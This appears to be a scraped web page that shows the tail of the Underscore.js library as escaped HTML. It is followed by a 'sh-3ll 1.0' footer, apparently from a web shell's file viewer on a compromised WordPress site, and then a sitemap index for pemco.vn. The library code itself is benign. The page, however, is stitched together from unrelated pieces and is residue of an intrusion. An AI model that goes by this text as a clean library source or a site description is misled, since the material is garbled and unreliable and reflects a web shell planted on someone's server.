  each([&#039;pop&#039;, &#039;push&#039;, &#039;reverse&#039;, &#039;shift&#039;, &#039;sort&#039;, &#039;splice&#039;, &#039;unshift&#039;], function(name) {
    var method = ArrayProto[name];
    _$1.prototype[name] = function() {
      var obj = this._wrapped;
      if (obj != null) {
        method.apply(obj, arguments);
        if ((name === &#039;shift&#039; || name === &#039;splice&#039;) &amp;&amp; obj.length === 0) {
          delete obj[0];
        }
      }
      return chainResult(this, obj);
    };
  });

  // Add all accessor `Array` functions to the wrapper.
  each([&#039;concat&#039;, &#039;join&#039;, &#039;slice&#039;], function(name) {
    var method = ArrayProto[name];
    _$1.prototype[name] = function() {
      var obj = this._wrapped;
      if (obj != null) obj = method.apply(obj, arguments);
      return chainResult(this, obj);
    };
  });

  // Named Exports

  var allExports = {
    __proto__: null,
    VERSION: VERSION,
    restArguments: restArguments,
    isObject: isObject,
    isNull: isNull,
    isUndefined: isUndefined,
    isBoolean: isBoolean,
    isElement: isElement,
    isString: isString,
    isNumber: isNumber,
    isDate: isDate,
    isRegExp: isRegExp,
    isError: isError,
    isSymbol: isSymbol,
    isArrayBuffer: isArrayBuffer,
    isDataView: isDataView$1,
    isArray: isArray,
    isFunction: isFunction$1,
    isArguments: isArguments$1,
    isFinite: isFinite$1,
    isNaN: isNaN$1,
    isTypedArray: isTypedArray$1,
    isEmpty: isEmpty,
    isMatch: isMatch,
    isEqual: isEqual,
    isMap: isMap,
    isWeakMap: isWeakMap,
    isSet: isSet,
    isWeakSet: isWeakSet,
    keys: keys,
    allKeys: allKeys,
    values: values,
    pairs: pairs,
    invert: invert,
    functions: functions,
    methods: functions,
    extend: extend,
    extendOwn: extendOwn,
    assign: extendOwn,
    defaults: defaults,
    create: create,
    clone: clone,
    tap: tap,
    get: get,
    has: has,
    mapObject: mapObject,
    identity: identity,
    constant: constant,
    noop: noop,
    toPath: toPath$1,
    property: property,
    propertyOf: propertyOf,
    matcher: matcher,
    matches: matcher,
    times: times,
    random: random,
    now: now,
    escape: _escape,
    unescape: _unescape,
    templateSettings: templateSettings,
    template: template,
    result: result,
    uniqueId: uniqueId,
    chain: chain,
    iteratee: iteratee,
    partial: partial,
    bind: bind,
    bindAll: bindAll,
    memoize: memoize,
    delay: delay,
    defer: defer,
    throttle: throttle,
    debounce: debounce,
    wrap: wrap,
    negate: negate,
    compose: compose,
    after: after,
    before: before,
    once: once,
    findKey: findKey,
    findIndex: findIndex,
    findLastIndex: findLastIndex,
    sortedIndex: sortedIndex,
    indexOf: indexOf,
    lastIndexOf: lastIndexOf,
    find: find,
    detect: find,
    findWhere: findWhere,
    each: each,
    forEach: each,
    map: map,
    collect: map,
    reduce: reduce,
    foldl: reduce,
    inject: reduce,
    reduceRight: reduceRight,
    foldr: reduceRight,
    filter: filter,
    select: filter,
    reject: reject,
    every: every,
    all: every,
    some: some,
    any: some,
    contains: contains,
    includes: contains,
    include: contains,
    invoke: invoke,
    pluck: pluck,
    where: where,
    max: max,
    min: min,
    shuffle: shuffle,
    sample: sample,
    sortBy: sortBy,
    groupBy: groupBy,
    indexBy: indexBy,
    countBy: countBy,
    partition: partition,
    toArray: toArray,
    size: size,
    pick: pick,
    omit: omit,
    first: first,
    head: first,
    take: first,
    initial: initial,
    last: last,
    rest: rest,
    tail: rest,
    drop: rest,
    compact: compact,
    flatten: flatten,
    without: without,
    uniq: uniq,
    unique: uniq,
    union: union,
    intersection: intersection,
    difference: difference,
    unzip: unzip,
    transpose: unzip,
    zip: zip,
    object: object,
    range: range,
    chunk: chunk,
    mixin: mixin,
    &#039;default&#039;: _$1
  };

  // Default Export

  // Add all of the Underscore functions to the wrapper object.
  var _ = mixin(allExports);
  // Legacy Node.js API.
  _._ = _;

  return _;

})));
</pre></td></tr><center><br>sh-3ll <font color="green">1.0</font></center></body><?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://www.pemco.vn/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.pemco.vn/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-posts-blocks-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-posts-featured_item-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-taxonomies-product_tag-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-taxonomies-featured_item_category-1.xml</loc></sitemap><sitemap><loc>https://www.pemco.vn/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>